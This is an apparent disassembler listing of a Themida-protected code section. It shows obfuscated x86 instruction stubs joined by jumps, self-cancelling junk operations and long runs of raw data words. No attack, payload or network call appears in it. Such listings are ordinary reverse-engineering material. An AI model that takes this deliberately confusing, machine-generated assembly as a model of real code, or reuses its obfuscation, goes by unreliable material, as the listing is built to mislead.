		dd 4, 685DEB01h, 7229h,	0BE243489h, 2, 0E95EF301h, 0FFFFEC6Eh
		dd 515AD031h, 0FFFD23E9h, 0B6EB81FFh, 81E80247h, 522DCFC2h
		dd 0FFC28126h, 81764D06h, 43581AEAh, 81DA292Fh,	43581AC2h
		dd 0FFEA812Fh, 0E9764D06h, 0FFFFD3CDh
; ---------------------------------------------------------------------------


loc_546B8C:				; CODE XREF: Themida_:0054F51Dj
		mov	[esp], eax
		mov	eax, 0A0596869h
		jmp	loc_54D082
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E689565Eh, 4C681h, 0C6830000h, 24348704h, 0CE6EE95Ch
		dd 815BFFFFh, 4C3h, 4C38300h, 0E9241C87h, 7E99h
; ---------------------------------------------------------------------------


loc_546BC4:				; CODE XREF: Themida_:00543C2Fj
		xor	[esp], eax
		jmp	loc_5491E6
; ---------------------------------------------------------------------------
		dd 0C159CE21h, 0DEF703EEh, 605BEE81h, 0F681241Eh, 49467C8Bh
		dd 4F9FEE81h, 0F0293CEFh, 57E8015Eh, 3D5CEFBFh,	0A8F78108h
		dd 8174F26Bh, 937C33EFh, 0C1DFF707h, 0C78104EFh, 3BB5E483h
		dd 5373F781h, 8147252Ch, 970813EFh, 8BF8010Ah, 0C481243Ch
		dd 4, 83242C8Bh, 0C33104C4h, 56E9C231h,	8900006Fh, 1BD242Ch
		dd 9000000h, 34FF1C6Fh,	2434FF24h, 8B2434FFh, 0C483242Ch
		dd 73F0E904h, 0D3660000h, 0E99C242Ch, 0FFFFCDC8h, 5C241487h
		dd 54240C89h, 6343E959h, 815A0000h, 6A1C1CCAh, 0FCE9500Fh
		dd 0F7FFFFCFh, 81F787DEh, 5FCA8BF7h, 5FF889AEh,	34FFC301h
		dd 0C3E95824h, 0BAFFFFF3h, 70BD48BEh, 0D0895057h, 8958C789h
		dd 815A5FFEh, 42B746C6h, 5EF7018Fh, 5C243C87h, 4BF368h
		dd 242C8900h, 0C581E589h, 4, 4A60E9h
		db 0
; ---------------------------------------------------------------------------


loc_546CBD:				; CODE XREF: Themida_:0054E16Cj
		mov	ecx, 3534759Ah
		xor	ecx, 3534759Eh
		add	ebx, ecx
		pop	ecx
		push	edi
		jmp	loc_544CE6
; ---------------------------------------------------------------------------
		db 53h,	88h, 0D7h
		dd 685BF888h, 3829h, 83241489h,	0C8904ECh, 50C58824h, 66F2E9h
		dd 34AA6800h, 14890000h, 50BFB224h, 0C200B1B0h,	4778E958h
		dd 882D0000h, 81711676h, 0B2E1CEEh, 81C6014Fh, 0B2E1CC6h
		dd 24048B4Fh, 4C481h, 34870000h, 5AD2E924h, 89560000h
		dd 4C681E6h, 81000000h,	2EEh, 24348700h, 2C89665Ch, 11E95224h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546D43:				; CODE XREF: Themida_:0054D117j
		mov	edx, ebx
		pop	ebx


loc_546D46:				; CODE XREF: Themida_:loc_548E8Aj
					; Themida_:0054D312j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54D887
; ---------------------------------------------------------------------------
		db 28h
		dd 0EEC280C2h, 0CA805866h, 5EAC030h, 0FFE153E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546D69:				; CODE XREF: Themida_:0054D9B6j
		mov	ebx, 64C36069h
		dec	ebx
		dec	ebx
		push	ebp
		jmp	loc_54A3FC
; ---------------------------------------------------------------------------


loc_546D76:				; CODE XREF: Themida_:00544222j
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 15E236D5h
		jmp	loc_54FA59
; ---------------------------------------------------------------------------


loc_546D85:				; CODE XREF: Themida_:0054836Fj
		add	edi, 6B075561h
		add	edi, 63F43C8Fh
		jmp	loc_549237
; ---------------------------------------------------------------------------
		dw 5756h
		dd 0FFE788E9h, 186851FFh, 89000027h, 4812424h, 424h, 3587E900h
		dd 0C890000h, 0C0E4B524h, 0CDFE04EDh, 8003EDC0h, 0F580FFC5h
		dd 493DE98Dh, 0C0090000h, 423D840Fh, 0AA680000h, 8900002Fh
		dd 0FE682404h, 8B000000h, 15E92404h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546DE7:				; CODE XREF: Themida_:0054AA06j
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	cx, 2943h
		push	di
		mov	di, 9110h
		mov	si, di
		jmp	loc_548B80
; ---------------------------------------------------------------------------
		db 21h
		dd 2434FFF3h, 2A6DE95Eh, 49BE0000h, 0B81C9910h,	0E82F0A72h
		dd 2D5EF001h, 4B795587h, 4008E0C1h, 2B33E9h, 28D9B600h
		dd 148B66F3h, 2C48324h,	0C380C300h, 798A68D9h, 0C890000h
		dd 1210E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546E52:				; CODE XREF: Themida_:0054B862j
		and	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebx, 8
		add	ebx, 7FDF9FFFh
		sub	[edi+24h], ebx
		pop	ebx


loc_546E67:				; CODE XREF: Themida_:0054C2CFj
		push	edi
		jmp	loc_5498C3
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0C1h
		dd 0BE5608E7h, 0B9C30DFCh, 0CEE9F729h, 2900003Ah, 0EEC15DEEh
		dd 0D4EE8104h, 8156E40Bh, 3AD6B8C6h, 5EF301C0h,	89C78957h
		dd 243C8BFAh, 5E39E951h, 0BAB00000h, 0C059B551h, 0CDFE03E5h
		dd 804AC580h, 0DCE9E5EDh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546EB7:				; CODE XREF: Themida_:0054B27Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_547DFB
; ---------------------------------------------------------------------------
aLSz		db '[‹<$é‡*',0
		align 2
		dw 0CF81h
		dd 4E317CAFh, 0C87CEF81h, 0F829C5F7h, 7D52E9h, 243C8900h
		dd 0B4E9E789h, 0F7FFFFE4h, 2585E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546EFA:				; CODE XREF: Themida_:0054B65Ej
		mov	esp, [esp]
		jmp	loc_545C89
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E955240Ch, 0FFFFF6BDh, 171EEA81h, 0E8E95939h, 81000043h
		dd 0B97BD5C3h, 0A8F38120h, 9007708h, 0FE3E9DAh,	0FC680000h
		dd 0E900004Ch, 14DEh, 89240489h, 0E08950E0h, 405h, 42D00h
		dd 0B5E90000h, 66FFFFCFh, 0B0240489h, 66C7307Ch, 4CD2C58h
		dd 0E9F80081h, 893Ch, 66D1F766h, 0D6BF6657h, 0F9016632h
		dd 21665F66h, 240C8BCAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54FA09
; ---------------------------------------------------------------------------


loc_546F8B:				; CODE XREF: Themida_:00543A87j
		sub	dword ptr [edx+38h], 215B7B86h
		xchg	ebp, [edx+38h]
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, [edx+38h]
		inc	dword ptr [edx+38h]
		shl	dword ptr [edx+38h], 5
		and	dword ptr [edx+38h], 530467E0h
		jmp	loc_54E507
; ---------------------------------------------------------------------------


loc_546FB0:				; CODE XREF: Themida_:00544A33j
		push	ebp
		pop	edx
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5486A1
; ---------------------------------------------------------------------------
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 5EE21FA1h
		mov	edi, edx
		pop	edx
		and	edi, 7CBF3879h
		add	edi, 163D4FE0h
		inc	edi
		sub	edi, 249750E3h
		dec	edi
		inc	edi
		jmp	loc_54B9A1
; ---------------------------------------------------------------------------
		db 52h
		dd offset dword_4EF14C+69Dh
		dd 81E78900h, 4C7h, 4EC8100h, 89000000h, 7EB9240Ch, 492B0315h
		dd 0FFFFBF57h, 0F929FFFFh, 0DFBF575Fh, 53459721h, 0FC7A31BBh
		dd 0B7CB814Fh, 0C1557207h, 0CB8106EBh, 6FC0400h, 39FBC381h
		dd 0F3810BE0h, 0E071BF4h, 13BBC381h, 0DF01BB0Dh, 0E9F9215Bh
		dd 0FFFFCF48h, 0C280E228h, 0D030584Bh, 8124148Bh, 4C4h
		dd 4998E900h, 0BA2D0000h, 5205E503h, 517310BAh,	81DAF70Ah
		dd 0D672BEE2h, 0FBEA817Eh, 4A2BB542h, 2D32BD55h, 0D5F735B3h
		dd 0E0F5814Dh, 81D3F85Ah, 2D25EAh, 81EA0159h, 2D25C2h
		dd 0D0295D59h, 5F0295Ah, 628545E0h, 0E503BA05h,	0EB815E05h
		dd 7781C9Ah, 694F68h, 24048900h, 1E01E2B8h, 75103518h
		dd 86352B95h, 2913710Ah, 5609E9C3h, 0E9520000h,	4CBBh
		dd 24040966h, 0C932E99Ch, 0E4B4FFFFh, 0E1008EB1h, 0FFDCE0E9h
		dd 240C31FFh, 0FFE476E9h, 80CB00FFh, 0C8BDAEBh,	5909E924h
		dd 435A0000h, 4303EBC1h, 7A48BF57h, 0E7C112DAh,	8C78106h
		dd 8120740Dh, 4896CFC7h, 5FFB29FDh, 9AE9DA29h, 89FFFFFDh
		dd 4C381E3h, 57000000h,	0C781E789h, 4, 0E904EF83h, 1176h
; ---------------------------------------------------------------------------


loc_54714C:				; CODE XREF: Themida_:0054A972j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5495F7
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 40D37233h, 445EEE81h, 0DEF70C21h, 2248C681h,	0F6813D5Eh
		dd 0A4B3FD0Ch, 295EF189h, 0A7E95AD1h, 66000028h, 0E9240C8Bh
		dd 839Ah, 0E95DE929h, 2FFh
; ---------------------------------------------------------------------------


loc_547190:				; CODE XREF: Themida_:0054CEF5j
		dec	edx
		inc	edx
		shr	edx, 1
		xor	edx, 74F83512h
		xor	edi, edx
		pop	edx
		jmp	loc_549933
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24143124h, 8B241433h, 8B662424h, 0FC682404h,	89000006h
		dd 5D54242Ch, 1BC0BB53h, 814362C5h, 0C51BBDEBh,	0E9DD0162h
		dd 5190h, 4EB8159h, 87000000h, 895C241Ch, 0EFB9240Ch, 8132F078h
		dd 6D988EE9h, 59CF01E6h, 505FF831h, 457FE2B8h, 66DDE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5471FA:				; CODE XREF: Themida_:005495E1j
		add	ebx, 4
		push	ecx
		jmp	loc_54A8F5
; ---------------------------------------------------------------------------


loc_547206:				; CODE XREF: Themida_:0054CA6Aj
		mov	[esp], edx
		push	ebx
		push	eax
		push	413B41D4h
		pop	eax
		not	eax
		sub	eax, 0FE873E6h
		and	eax, 747033CDh
		jmp	loc_54C802
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0CA8104EAh, 65A306EFh, 0DDE9DAF7h, 66FFFFCAh, 0E924048Bh
		dd 3419h, 0E904C483h, 5B7Fh, 5C243487h,	0FFFB49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54724D:				; CODE XREF: Themida_:0054B6BFj
		sub	cl, 68h
		xor	cl, 7Eh
		not	cl
		jmp	loc_547802
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 4A13EF81h, 66E90915h, 89000058h, 4812424h, 424h, 57515800h
		dd 0CE9E789h, 500002Eh,	4, 0E904C083h, 5033h, 1E9F328h
		dd 81000022h, 4C4h, 4C48300h, 0FFF342E9h, 48B66FFh, 69E95724h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5472A7:				; CODE XREF: Themida_:0054AB01j
		mov	ebp, 0BB179A2Eh
		add	ebp, edi
		pop	edi
		push	ebx
		push	ebp
		push	eax
		mov	eax, 479D1374h
		xor	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_54B501
; ---------------------------------------------------------------------------


loc_5472C7:				; CODE XREF: Themida_:0054D837j
		add	[esp+4], ebp
		jmp	loc_54FA71
; ---------------------------------------------------------------------------
		dd 0FBFCDFBFh, 8BFE316Fh, 87E9243Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5472DF:				; CODE XREF: Themida_:005485CFj
		mov	[esp], ebp
		jmp	loc_54AAFB
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 5DBE68h, 1AAEE900h,	74FF0000h, 3C8B0424h
		dd 0E1895124h, 4C181h, 0F8E90000h, 8100001Bh, 0A7345BEEh
		dd 2B85079h, 0D374F36h,	0F327CB0h, 902BEB35h, 5D8F710h
		dd 0B459A18Ah, 958C601h, 81475EF7h, 65F9FDC7h, 5FFE09BAh
		dd 17C6E9h, 0B2526600h,	66D38849h, 5FEB805Ah, 8FE9EB00h
		dd 0BE000065h, 14CB0F97h, 5198F681h, 51E94002h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547363:				; CODE XREF: Themida_:0054B3B4j
		add	edi, edx
		jmp	loc_54895F
; ---------------------------------------------------------------------------


loc_54736A:				; CODE XREF: Themida_:00547431j
		push	1BE4h
		mov	[esp], eax
		push	esp
		jmp	loc_54662F
; ---------------------------------------------------------------------------
		dd 0E9D7C780h, 29F6h
; ---------------------------------------------------------------------------


loc_547380:				; CODE XREF: Themida_:0054C176j
		neg	ecx
		not	ecx
		add	ecx, 0BC3FAC2Bh
		jmp	loc_54A464
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31FFF901h, 4DCEE958h, 14890000h, 4EC8124h, 89000000h
		dd 4832424h, 535A0424h,	0B54ACFBBh, 81D3F75Ch, 280F93E3h
		dd 8BEB817Ah, 0E9713C3Bh, 83FBh, 240C8B66h, 57585450h
		dd 163AE9h, 0E9EBB400h,	0FFFFF10Dh, 4247431h, 1F32E9h
		dd 5EF02900h, 981DCF2Dh, 68E80158h, 16E2h, 0BB241C89h
		dd 58981DCFh, 3145E9h, 0B7535900h, 2CF8076h, 3026F780h
		dd 0C6305BF8h, 5624048Bh, 0C681E689h, 4, 0FFD2B3E9h, 24048FFFh
		dd 6167E9h
		db 0
; ---------------------------------------------------------------------------


loc_547425:				; CODE XREF: Themida_:0054DA7Aj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54736A
; ---------------------------------------------------------------------------


loc_547436:				; CODE XREF: Themida_:0054F495j
		pop	ebp
		jmp	loc_54B1B1
; ---------------------------------------------------------------------------
		dd 50240C8Bh, 656A68h, 0FE1DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54744A:				; CODE XREF: Themida_:0054E757j
		or	eax, eax
		jz	loc_549FEB
		push	dword ptr [edi+28h]
		push	ebp
		mov	ebp, 57CE4FB4h
		shl	ebp, 6
		jmp	loc_54D476
; ---------------------------------------------------------------------------
aLSX		db ',‹(Èé%x',0
		align 4
		dd 4C481h, 48F0000h, 3086E924h,	0EF810000h, 90A2B0Ch, 81DF015Dh
		dd 6E0E7BC7h, 34E95B11h, 29000041h, 815D59CEh, 3302D7F6h
		dd 5EEC11Fh, 32268h, 24048900h,	243B3EB8h, 58C629F2h, 7C83E9h
		db 0
; ---------------------------------------------------------------------------


loc_5474B1:				; CODE XREF: Themida_:0054A4C7j
		mov	ah, cl
		pop	ecx
		add	dl, ah
		pop	eax
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_54893C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 25E1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5474CE:				; CODE XREF: Themida_:00544FD3j
		push	370Dh
		mov	[esp], edi
		push	4A491F77h
		pop	edi
		jmp	loc_549CD2
; ---------------------------------------------------------------------------
		db 0E9h, 3Ah, 0C5h
		dd 0C283FFFFh, 24148702h, 6624248Bh, 8124048Bh,	4ECh, 242C8900h
		dd 37E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_547501:				; CODE XREF: Themida_:0054B2C9j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_54953D
; ---------------------------------------------------------------------------
		db 68h,	61h, 64h
		dd 2C890000h, 4BD24h, 0C3810000h, 21C9504Eh, 0EB81EB01h
		dd 21C9504Eh, 74FF535Dh, 8F5B0424h, 248B2404h, 0F9F0E924h
		dd 0E959FFFFh, 6BA5h, 4BB0F66h,	90E99C24h, 0F6000058h
		dd 2CF480DCh, 52E9E588h, 900004Fh, 4A62E9C3h, 0C5050000h
		dd 520970Ah, 357473AEh,	5D2434FFh, 52F4E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547572:				; CODE XREF: Themida_:00546B35j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		push	edi
		mov	edi, esp
		jmp	loc_54ABFF
; ---------------------------------------------------------------------------
		db 68h,	2Bh, 1Eh
		dd 91E97C47h, 29FFFFE8h, 5FFA87D7h, 5508BE56h, 2DE97180h
		dd 0BF00005Dh, 26EF1AD4h, 0F781D7F7h, 390C2E8Dh, 0FFF925E9h
		dd 5F5457FFh, 4C781h, 0C7810000h, 4, 8B243C87h,	68552424h
		dd 19566531h, 0CCE9575Dh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5475D3:				; CODE XREF: Themida_:00546A45j
		add	edx, 5CD12824h
		add	edx, edi
		xor	ecx, [edx]
		pop	edx
		xor	[edi+24h], ecx
		add	ecx, 1
		push	dword ptr [edi+24h]
		jmp	loc_5498DD
; ---------------------------------------------------------------------------


loc_5475EF:				; CODE XREF: Themida_:0054A488j
		add	dword ptr [esp], 68B84398h
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 68B84398h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	29F1h
		jmp	loc_545358
; ---------------------------------------------------------------------------
		db 53h,	68h, 6Bh
		dd 5B280230h, 5275EB81h, 0A5E91904h, 8100000Dh,	4C2h, 4C28100h
		dd 0E9000000h, 5F38h, 2CBEE955h, 94BF0000h, 814ABB44h
		dd 122556CFh, 7E7C127h,	0C20BEF81h, 0FB31691Ah,	0E9243C8Bh
		dd 4728h, 8324348Bh, 0EB8104C4h, 16E07993h, 2A66C381h
		dd 0B2E93A9Bh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547683:				; CODE XREF: Themida_:00546392j
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ebx, 5B5D1F1Fh
		add	ebx, 668800E8h
		sub	ebx, eax
		sub	esp, 4
		jmp	loc_548CFF
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 0FFFFD3F4h
; ---------------------------------------------------------------------------


loc_5476B0:				; CODE XREF: Themida_:0054EB7Dj
		push	46B9h
		jmp	loc_548986
; ---------------------------------------------------------------------------
		dw 0F0BFh
		dd 4F59111Eh, 7828CF81h, 0E7C11D37h, 74EF8103h,	1E9BBF7h
		dd 0E9505FFEh, 0FFFFEE32h, 0E902C783h, 617Eh, 4BA525Ah
		dd 1000000h, 28E95AD3h,	0F7000066h, 0D169E9D9h,	685CFFFFh
		dd 2D89h, 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 4315C24h
		dd 3FE99C24h, 81FFFFE7h, 52CCE4F1h, 8BCF89AFh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54B585
; ---------------------------------------------------------------------------
		dw 0E820h
		dd 81240C8Bh, 4C4h, 11476800h, 1C890000h, 4EC8124h, 0E9000000h
		dd 0FFFFF246h, 8B2434FFh, 89572404h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 3FF1E95Ch, 73B90000h, 0E950C925h, 0FFFFE9E6h
; ---------------------------------------------------------------------------


loc_547770:				; CODE XREF: Themida_:00547D79j
		pop	ebx
		mov	dx, [esp]
		add	esp, 2
		sub	bx, 31E4h
		push	dx
		mov	dx, 4AFh
		add	bx, dx
		jmp	loc_54E433
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 0E9545355h, 1182h
; ---------------------------------------------------------------------------


loc_547798:				; CODE XREF: Themida_:0054EFFFj
		pop	esp
		sub	esp, 4
		jmp	loc_548A39
; ---------------------------------------------------------------------------


loc_5477A1:				; CODE XREF: Themida_:0054929Ej
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_548DC8
; ---------------------------------------------------------------------------
aIXblI		db '‰ÂXl$',8,'‰$Ý',0
aTSO		db ')T$',8,'é¶O',0
		align 4
		dd 31240C33h, 0C33240Ch, 24248B24h, 6824048Bh, 2BE7h, 62F3E9h
		dd 4AE95900h, 21000008h, 24148BD0h, 0C104C483h,	0A7E908E8h
		dd 52000062h, 0DF5E9ABAh, 782BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547802:				; CODE XREF: Themida_:00547255j
		sub	cl, 4Ch
		add	bl, cl
		pop	ecx
		movzx	eax, al
		jmp	loc_547CD9
; ---------------------------------------------------------------------------


loc_547810:				; CODE XREF: Themida_:005444CBj
		pop	ebp
		push	esi
		mov	esi, 1F5A5B02h
		jmp	loc_54654F
; ---------------------------------------------------------------------------
		dd 575EF201h, 2BFh, 0B2EA8100h,	0E91EBC30h, 18AFh
; ---------------------------------------------------------------------------


loc_547830:				; CODE XREF: Themida_:005454F9j
		inc	ebp
		not	ebp
		jmp	loc_54409B
; ---------------------------------------------------------------------------


loc_547838:				; CODE XREF: Themida_:00543A79j
		sub	ebx, 0ABB8C061h
		add	edi, ebx
		pop	ebx
		sub	edi, 63F43C8Fh
		sub	edi, 6B075561h
		jmp	loc_54836D
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 241C8704h, 241C895Ch, 53179BBh, 4E3C120h, 25ADE381h
		dd 42E92DFFh
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54786F:				; CODE XREF: Themida_:00548824j
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54B4A7
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 81000000h, 0EE407FEBh, 56C30160h, 0C1367DBEh, 4B566865h
		dd 2C890000h, 0A02BD24h, 0EE01FB2Dh, 0FFD7C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5478A9:				; CODE XREF: Themida_:0054EEC7j
		mov	edx, esp
		push	esi
		mov	esi, 21582425h
		or	esi, 73796B41h
		sub	esi, 73796F61h
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 785070F7h
		push	ebx
		mov	ebx, 87AF8F0Dh
		sub	edi, 3E074B0Dh
		jmp	loc_546B16
; ---------------------------------------------------------------------------
		db 54h
		dd 5624048Fh, 4BEh, 24740100h, 2F8AE904h, 8B660000h, 68572404h
		dd 76DEh, 50242489h, 4B8h, 24440100h, 34FF5804h, 243C8B24h
		dd 0FFD651E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54790D:				; CODE XREF: Themida_:0054F8DDj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_543B4E
; ---------------------------------------------------------------------------


loc_547928:				; CODE XREF: Themida_:0054520Dj
		push	21F4h
		jmp	loc_549593
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 52922D00h, 0E381DBF7h, 667649F3h, 29ECE9h, 0B9515700h
		dd 6AF34BBAh, 0C181D1F7h, 8BD94DBEh, 0FFECFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547959:				; CODE XREF: Themida_:00543B67j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_544227
; ---------------------------------------------------------------------------
		dd 0CE450C68h, 243C8B27h, 8904EC83h, 0A4E9242Ch, 81FFFFD9h
		dd 42404h, 34FF0000h, 24048B24h, 8104C483h, 4C4h, 63C8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547996:				; CODE XREF: Themida_:00548A3Cj
		mov	ebx, 387C16BAh
		jmp	loc_545539
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	0E924248Bh, 0FFFFC070h,	4C481h
		dd 0B7E90000h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5479BB:				; CODE XREF: Themida_:0054B251j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------
aNh		db '­hÛ!',0
		align 4
		dd offset dword_457444+57A5h
		db 0
; ---------------------------------------------------------------------------


loc_5479ED:				; CODE XREF: Themida_:0054FB53j
		inc	ecx
		inc	ecx
		jmp	loc_5490EC
; ---------------------------------------------------------------------------
		dd 0B0240489h, 888F04C5h, 24048BC6h, 0E904C483h, 146Ah
		dd 0C006E0C0h, 0AE3408E0h, 28C4C280h, 0C4EA80C2h, 0DB64E958h
		dd 431FFFFh, 24043324h,	6B3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547A29:				; CODE XREF: Themida_:0054BC15j
		xor	ecx, 1CEC5D48h
		push	eax
		jmp	loc_545486
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 0FFFFBFDCh, 8704C483h, 505C243Ch
		dd 0E904EC83h, 57ADh, 34FFFB01h, 0C4815F24h, 4,	4EB81h
		dd 1C870000h, 4895C24h,	245DB824h, 0C5897B9Bh, 0D2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547A79:				; CODE XREF: Themida_:005494C9j
		not	bh
		xor	bh, 0DEh
		not	bh
		sub	bh, 42h
		sub	bh, 30h
		jmp	loc_54A007
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFBF90h, 2414335Fh, 33241431h, 248B2414h,	0C8B6624h
		dd 0E7895724h, 15BA5253h, 0F7123D27h, 362EE9DAh, 8B660000h
		dd 54512404h, 81240C8Bh, 4C4h, 88B85000h, 0F70C036Eh, 53E948D0h
		dd 0FFFFFFDDh, 0E9582434h, 0C21h
; ---------------------------------------------------------------------------


loc_547AD8:				; CODE XREF: Themida_:0054CD89j
		pop	esi
		jmp	loc_54C1E2
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0FF000000h, 4DE91C77h, 0B9FFFFF9h,	4380244Fh
		dd 2451BD55h, 0EF894380h, 8BCF295Dh, 0C481240Ch, 4, 3E61BA52h
		dd 0D001114Fh, 0D7DEE95Ah, 0F801FFFFh, 0F5B685Fh, 79E90000h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547B23:				; CODE XREF: Themida_:0054B395j
		add	edi, esi
		pop	esi
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_54EAF9
; ---------------------------------------------------------------------------


loc_547B3D:				; CODE XREF: Themida_:005483C4j
		pop	esi
		push	edi
		push	72D45F85h
		pop	edi
		and	ebx, edi
		pop	edi
		add	ebx, 0CF83BC80h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_544A32
; ---------------------------------------------------------------------------


loc_547B67:				; CODE XREF: Themida_:0054EB1Bj
		sub	esi, edi
		pop	edi
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	816h
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_54F712
; ---------------------------------------------------------------------------


loc_547B84:				; CODE XREF: Themida_:0054D9DDj
		xor	edx, edi
		xor	edi, edx
		xchg	edi, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54BF1F
; ---------------------------------------------------------------------------
		dd 0E951E789h, 1344h, 2434875Ah, 10B9E95Ch, 8FB90000h
		dd 0E931E87Fh, 2B37h, 585DEE01h, 601CBB53h, 0DE29AA1Ch
		dd 6AEDE95Bh, 595E0000h, 4C181h, 4CE90000h, 50000076h
		dd 0B061B353h, 5BD800E5h, 0B353C8FEh, 5BD80846h, 74E9D8F6h
		dd 40000049h, 5B04E9h, 1C77FF00h, 411589Dh, 25E99C24h
		dd 81FFFFBEh, 20E42434h, 815B30BCh, 0BC20E4F3h,	0D8315F30h
		dd 83241C8Bh, 0C33104C4h, 576468h, 24048900h, 0FFBDFFE9h
		dd 0C875EFFh, 0E896E924h, 0C781FFFFh, 4, 4C781h, 3C870000h
		dd 0EC815C24h, 4, 0E9243C89h, 0FFFFFD20h, 0C004C483h, 0D2F603EAh
		dd 0FE1CB551h, 0DEE580C5h, 8082C580h, 0ED800EF5h, 59EA307Bh
		dd 0E9A6E280h, 723Ah, 1A47E95Eh, 77FF0000h, 59669D1Ch
